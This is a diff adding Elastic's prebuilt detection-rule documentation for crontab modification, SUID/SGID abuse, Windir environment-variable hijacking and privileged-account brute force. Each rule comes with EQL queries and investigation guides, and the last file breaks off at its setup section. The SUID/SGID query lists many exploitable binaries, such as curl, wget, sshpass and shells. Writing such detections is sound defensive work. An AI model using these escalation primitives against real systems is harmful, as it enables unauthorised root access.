https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-root-crontab-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-root-crontab-file-modification.asciidoc new file mode 100644 index 0000000000..ecc9d9e09d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-root-crontab-file-modification.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-root-crontab-file-modification]] +=== Privilege Escalation via Root Crontab File Modification + +Identifies modifications to the root crontab file. Adversaries may overwrite this file to gain code execution with root privileges by exploiting privileged file write or move related vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc +* https://www.exploit-db.com/exploits/42146 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via Root Crontab File Modification* + + +Crontab files in macOS are used to schedule tasks, often requiring elevated privileges for execution. Adversaries exploit this by modifying the root crontab file, enabling unauthorized code execution with root access. The detection rule identifies suspicious modifications to this file, excluding legitimate crontab processes, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path involved is /private/var/at/tabs/root, as this is the specific file path targeted by the rule. +- Examine the process that modified the root crontab file by checking the process executable path. Ensure it is not /usr/bin/crontab, which is excluded as a legitimate process. +- Investigate the user account associated with the process that made the modification to determine if it has legitimate access or if it might be compromised. +- Check for any recent changes or anomalies in user account activity or permissions that could indicate unauthorized access or privilege escalation attempts. +- Correlate this event with other security alerts or logs from the same host to identify any patterns or additional suspicious activities that might suggest a broader attack campaign. +- Assess the risk and impact of the modification by determining if any unauthorized or malicious tasks have been scheduled in the crontab file. + + +*False positive analysis* + + +- System maintenance tasks or updates may modify the root crontab file. To handle these, users can create exceptions for known maintenance processes that are verified as safe. +- Administrative scripts that require scheduled tasks might trigger this rule. Users should document and exclude these scripts if they are part of regular, authorized operations. +- Backup or monitoring software that interacts with crontab files could cause false positives. Verify these applications and exclude their processes if they are legitimate and necessary for system operations. +- Custom automation tools used by IT departments might modify crontab files. Ensure these tools are reviewed and whitelisted if they are part of approved workflows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious tasks. +- Review the modified root crontab file to identify any unauthorized or suspicious entries and remove them to stop any malicious scheduled tasks. +- Conduct a thorough investigation to determine how the crontab file was modified, focusing on identifying any exploited vulnerabilities or unauthorized access points. +- Reset credentials and review permissions for any accounts that may have been compromised or used in the attack to prevent further unauthorized access. +- Apply security patches and updates to the operating system and any vulnerable applications to close exploited vulnerabilities. +- Monitor the system and network for any signs of continued unauthorized activity or attempts to modify crontab files, using enhanced logging and alerting mechanisms. +- Escalate the incident to the appropriate internal security team or external cybersecurity experts if the threat persists or if there is evidence of a broader compromise. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/private/var/at/tabs/root" and + not process.executable like "/usr/bin/crontab" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-suid-sgid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-suid-sgid.asciidoc new file mode 100644 index 0000000000..897152ae62 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-suid-sgid.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-suid-sgid]] +=== Privilege Escalation via SUID/SGID + +Identifies instances where a process is executed with user/group ID 0 (root), and a real user/group ID that is not 0. This is indicative of a process that has been granted SUID/SGID permissions, allowing it to run with elevated privileges. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root, or establish a backdoor for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via SUID/SGID* + + +SUID/SGID are Unix/Linux permissions that allow users to execute files with the file owner's or group's privileges, often root. Adversaries exploit misconfigured SUID/SGID binaries to gain elevated access or persistence. The detection rule identifies processes running with root privileges but initiated by non-root users, flagging potential misuse of SUID/SGID permissions. + + +*Possible investigation steps* + + +- Review the process details, including process.name and process.args, to understand the nature of the executed command and its intended function. +- Check the process.real_user.id and process.real_group.id to identify the non-root user or group that initiated the process, and assess whether this user should have access to execute such commands. +- Investigate the parent process (process.parent.name) to determine the origin of the execution and whether it aligns with expected behavior or indicates potential compromise. +- Examine the system logs and user activity around the time of the alert to identify any suspicious actions or patterns that could suggest privilege escalation attempts. +- Verify the SUID/SGID permissions of the flagged binary to ensure they are correctly configured and assess whether they have been altered or misconfigured. +- Cross-reference the process with known vulnerabilities or exploits associated with the specific binary or command to determine if it is being targeted for privilege escalation. + + +*False positive analysis* + + +- Processes initiated by legitimate system maintenance tasks or scripts may trigger the rule. Review scheduled tasks and scripts to identify benign activities and consider excluding them from the rule. +- Some system utilities or applications may inherently require SUID/SGID permissions for normal operation. Verify the necessity of these permissions and exclude known safe applications from the rule. +- Development or testing environments often run processes with elevated privileges for debugging purposes. Identify these environments and apply exceptions to avoid false positives. +- Administrative tools or scripts executed by system administrators might appear as privilege escalation attempts. Ensure these are documented and excluded if they are part of routine administrative tasks. +- Processes with the parent name "spine" are already excluded, indicating a known benign pattern. Review similar patterns in your environment and apply similar exclusions where applicable. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified by the detection rule that are running with elevated privileges but were initiated by non-root users. +- Conduct a thorough review of the SUID/SGID binaries on the affected system to identify and remove any unnecessary or misconfigured binaries that could be exploited for privilege escalation. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack to ensure they do not retain unauthorized elevated privileges. +- Apply security patches and updates to the operating system and all installed software to mitigate known vulnerabilities that could be exploited for privilege escalation. +- Implement enhanced monitoring and logging for SUID/SGID execution and privilege escalation attempts to detect and respond to similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and ( + process.name in ( + "aa-exec", "ab", "agetty", "alpine", "ar", "arj", "arp", "as", "ascii-xfr", "ash", "aspell", + "atobm", "awk", "base32", "base64", "basenc", "basez", "bc", "bridge", "busctl", + "busybox", "bzip2", "cabal", "capsh", "cat", "choom", "chown", "chroot", "clamscan", "cmp", + "column", "comm", "cp", "cpio", "cpulimit", "csplit", "csvtool", "cupsfilter", "curl", + "cut", "date", "dd", "debugfs", "dialog", "diff", "dig", "distcc", "dmsetup", "docker", + "dosbox", "ed", "efax", "elvish", "emacs", "env", "eqn", "espeak", "expand", "expect", "file", + "fish", "flock", "fmt", "fold", "gawk", "gcore", "gdb", "genie", "genisoimage", "gimp", + "gtester", "gzip", "hd", "head", "hexdump", "highlight", "hping3", "iconv", "install", + "ionice", "ispell", "jjs", "join", "jq", "jrunscript", "julia", "ksh", "ksshell", "kubectl", + "ld.so", "less", "links", "logsave", "look", "lua", "make", "mawk", "minicom", "more", + "mosquitto", "msgattrib", "msgcat", "msgconv", "msgfilter", "msgmerge", "msguniq", "multitime", + "nasm", "nawk", "ncftp", "nice", "nl", "nm", "nmap", "node", "nohup", "ntpdate", + "od", "openssl", "openvpn", "pandoc", "paste", "perf", "perl", "pexec", "pg", "php", "pidstat", + "pr", "ptx", "python", "rc", "readelf", "restic", "rev", "rlwrap", "rsync", "rtorrent", + "run-parts", "rview", "rvim", "sash", "scanmem", "sed", "setarch", "setfacl", "setlock", "shuf", + "soelim", "softlimit", "sort", "sqlite3", "ss", "ssh-agent", "ssh-keygen", "ssh-keyscan", + "sshpass", "start-stop-daemon", "stdbuf", "strace", "strings", "sysctl", "systemctl", "tac", + "tail", "taskset", "tbl", "tclsh", "tee", "terraform", "tftp", "tic", "time", "timeout", "troff", + "ul", "unexpand", "uniq", "unshare", "unsquashfs", "unzip", "update-alternatives", "uudecode", + "uuencode", "vagrant", "varnishncsa", "view", "vigr", "vim", "vimdiff", "vipw", "w3m", "watch", + "wc", "wget", "whiptail", "xdotool", "xmodmap", "xmore", "xxd", "xz", "yash", "zsh", + "zsoelim" + ) or + (process.name like ".*" or process.executable like ("/tmp/.*", "/var/tmp/.*", "/dev/shm/.*", "/home/*")) or + (process.name == "ip" and ((process.args == "-force" and process.args in ("-batch", "-b")) or (process.args == "exec"))) or + (process.name == "find" and process.args in ("-exec", "-execdir")) or + (process.name in ("bash", "csh", "dash") and process.args in ("-p", "-b")) or + (process.name == "pkexec" and process.args_count == 1) or + (process.name == "nft" and process.args in ("-f", "--file")) or + (process.name == "xargs" and process.args like ("-a", "--arg-file=*")) +) and +not ( + process.parent.name == "spine" or + (process.name == "sysctl" and process.args == "-n") or + process.parent.executable in ( + "/usr/NX/bin/nxexec", "/opt/andrisoft/bin/WANmaintenance", "/usr/lib/vmware/bin/vmware-vmx", + "/usr/bin/pamprivilegechange", "/usr/lib/hyper-v/bin/hv_kvp_daemon" + ) or + process.parent.command_line in ("runc init", "/opt/bitdefender-security-tools/bin/auctl") or + process.args like ("/usr/bin/snmpwalk*", "/usr/bin/snmpbulkwalk*", "/usr/bin/snmpget*") or + process.executable like ("/home/*/agent/*/bin/job-processor", "/u0?/install/APPS/*/webtier/ohs/bin/.apachectl") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-windir-environment-variable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-windir-environment-variable.asciidoc new file mode 100644 index 0000000000..d1c22b6fc1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-windir-environment-variable.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-windir-environment-variable]] +=== Privilege Escalation via Windir Environment Variable + +Identifies a privilege escalation attempt via a rogue Windows directory (Windir) environment variable. This is a known primitive that is often combined with other vulnerabilities to elevate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privilege Escalation via Windir Environment Variable* + + + +*Possible investigation steps* + + +- Does the alert show a Windir or SystemRoot override that can affect this user? + - Focus: `registry.path`, `registry.value`, `registry.data.strings`, `host.id`, and `user.id`. + - Implication: Escalate when a per-user Environment hive, such as HKEY_USERS SID or HKCU-equivalent context, changes "windir" or "systemroot" away from "C:\Windows" or "%SystemRoot%"; lower suspicion only when the same host and user recur with the same test or image-engineering value. + +- Does the replacement value create a redirection path? + - Focus: `registry.data.strings` and `registry.data.type`: user-writable roots, UNC paths, or unexpected command content. + - Implication: Escalate when the value can redirect a Windows-root process to attacker-controlled content or command execution; lower suspicion only when the exact replacement is bounded test or image data and no later elevated execution uses it. + +- Is the writing process the expected tool in an explainable launch chain? + - Focus: `process.executable`, `process.command_line`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.parent.command_line`. + - Implication: Escalate when the writer is "reg.exe", a script host, unsigned or user-writable binary, browser or Office child, or renamed tool outside a recognized management chain; reduce suspicion only when signer, path, parent, and arguments match the same test or image-engineering toolchain. + +- Does the session and token context make a UAC-bypass path feasible? + - Focus: `user.id`, `user.domain`, `process.Ext.session_info.logon_type`, `process.Ext.token.integrity_level_name`, and `process.Ext.token.elevation_level`. + - Implication: Escalate when an interactive or remote-admin user changes a per-user value from a medium or limited token and later activity reaches high integrity; lower suspicion when a noninteractive service or repair context cannot exercise an interactive auto-elevated task. + - Hint: Recover session and token fields from the writer process by `process.entity_id`; if absent, use the same host plus `process.pid` and a tight time window. !{investigate{"description":"","label":"Writer process event","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + +- Did follow-on process execution exercise the override? + - Focus: same-host, same-user process starts after the alert, comparing `process.executable`, `process.command_line`, `process.parent.executable`, and `process.Ext.token.integrity_level_name` to the replacement value. + - Implication: Escalate when follow-on execution resolves through the substituted path or higher integrity, or when command-line evidence consumes then deletes or restores the value. + - Hint: If no follow-on execution appears in the alert window, treat the value as staged and extend only far enough to test later starts reusing the same replacement string. !{investigate{"description":"","label":"Process events for the same user and host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + +- If local evidence is suspicious or unresolved, do related alerts change scope? + - Focus: related alerts for meaningful `user.id` values, such as real users or named service accounts. For machine, local service, or generic service identities, prioritize same-host alerts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: Broaden response when the same user or host has adjacent privilege-escalation, persistence, defense-evasion, credential-access, or suspicious elevated-process alerts; keep scope local when related alerts are absent and local telemetry supports the same test or image-engineering pattern. + +Final - Escalate when the non-default value enables redirection or command execution and writer, session, follow-on, or related-alert evidence is suspicious; close only when the registry value, writer path and parent, session, timeline, and host or user pattern fit the same test or image-engineering workflow; preserve artifacts and escalate when evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- Non-default per-user "windir" or "systemroot" values are unusual on production endpoints. Close as benign only when registry value, writer identity, parent chain, session, host and user pattern, and surrounding process or registry activity converge on one exact test or image-engineering workflow; outside confirmation can corroborate only after telemetry aligns. Recurrence can support missing records but not unresolved current telemetry. +- Do not close if the replacement value, writer lineage, host or user pattern, or elevated-execution evidence drifts. +- Before creating an exception, validate the minimum stable pattern: exact `registry.path`, exact or tightly bounded `registry.data.strings`, writer `process.executable`, parent `process.parent.command_line`, `host.id`, and `user.id`. Avoid exceptions on `registry.value`, process names such as "cmd.exe", or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the exact evidence that proved the workflow: `registry.path`, `registry.data.strings`, writer `process.executable`, `process.parent.command_line`, `host.id`, and `user.id`. Create an exception only if the same bounded pattern is stable across prior alerts from this rule. +- If suspicious but unconfirmed, preserve a case export of the alert and registry event, the original and modified Environment values, the writer process tree anchored on `process.entity_id`, command lines, and any substituted-path binaries or scripts recovered from the host before containment or cleanup. +- Apply reversible containment first: heightened monitoring, temporary task or execution restrictions, or removal of the rogue Environment value after evidence capture if operations permit it. Escalate to host isolation or account containment only when follow-on elevated execution, higher-integrity child processes, or related post-exploitation alerts make active misuse likely and the host role can tolerate stronger action. +- If confirmed malicious, isolate the endpoint when the registry value, writer lineage, session context, and follow-on execution show unauthorized privilege escalation. Before terminating processes or deleting artifacts, record the writer and follow-on process entity IDs, command lines, parent chain, modified registry path and value, substituted-path artifacts, and privileged process paths. +- After scope is preserved, restore "windir" or "systemroot" to the expected value, remove substituted-path content or execution triggers identified during triage, and review which privileged processes executed from the substituted path before cleanup. +- If the override was exercised or related alerts show broader compromise, treat the affected user context as potentially elevated beyond its intended boundary. Scope administrator or remote-access accounts active on the host and perform credential hygiene according to exposure and role. +- Post-incident hardening: reduce use of environment-variable-expanded paths in auto-elevated tasks where possible, retain process and registry telemetry needed for writer-lineage and follow-on execution review, and record any uncovered variant or visibility gap in the case outcome. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and +registry.value : ("windir", "systemroot") and registry.data.strings != null and +registry.path : ( + "*\\Environment\\windir", + "*\\Environment\\systemroot" + ) and + not registry.data.strings : ("C:\\windows", "%SystemRoot%") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-accounts-brute-force.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-accounts-brute-force.asciidoc new file mode 100644 index 0000000000..9aaa1426dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-accounts-brute-force.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-privileged-accounts-brute-force]] +=== Privileged Accounts Brute Force + +Identifies multiple consecutive logon failures targeting more than one Admin account from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Windows +* Resources: Osquery + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privileged Accounts Brute Force* + + +Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here]. + +This rule identifies potential password guessing/brute force activity from a single address against multiple accounts that contains the `admin` pattern on its name, which is likely a highly privileged account. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the logon failure reason code and the targeted user name. + - Prioritize the investigation if the account is critical or has administrative privileges over the domain. +- Investigate the source IP address of the failed Network Logon attempts. + - Identify whether these attempts are coming from the internet or are internal. +- Investigate other alerts associated with the involved users and source host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. +- Check whether the involved credentials are used in automation or scheduled tasks. +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. +- Examine the source host for derived artifacts that indicate compromise: + - Observe and collect information about the following activities in the alert source host: + - Attempts to contact external domains and addresses. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Domain trust relationship issues. +- Infrastructure or availability issues. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the source host to prevent further post-compromise behavior. +- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + 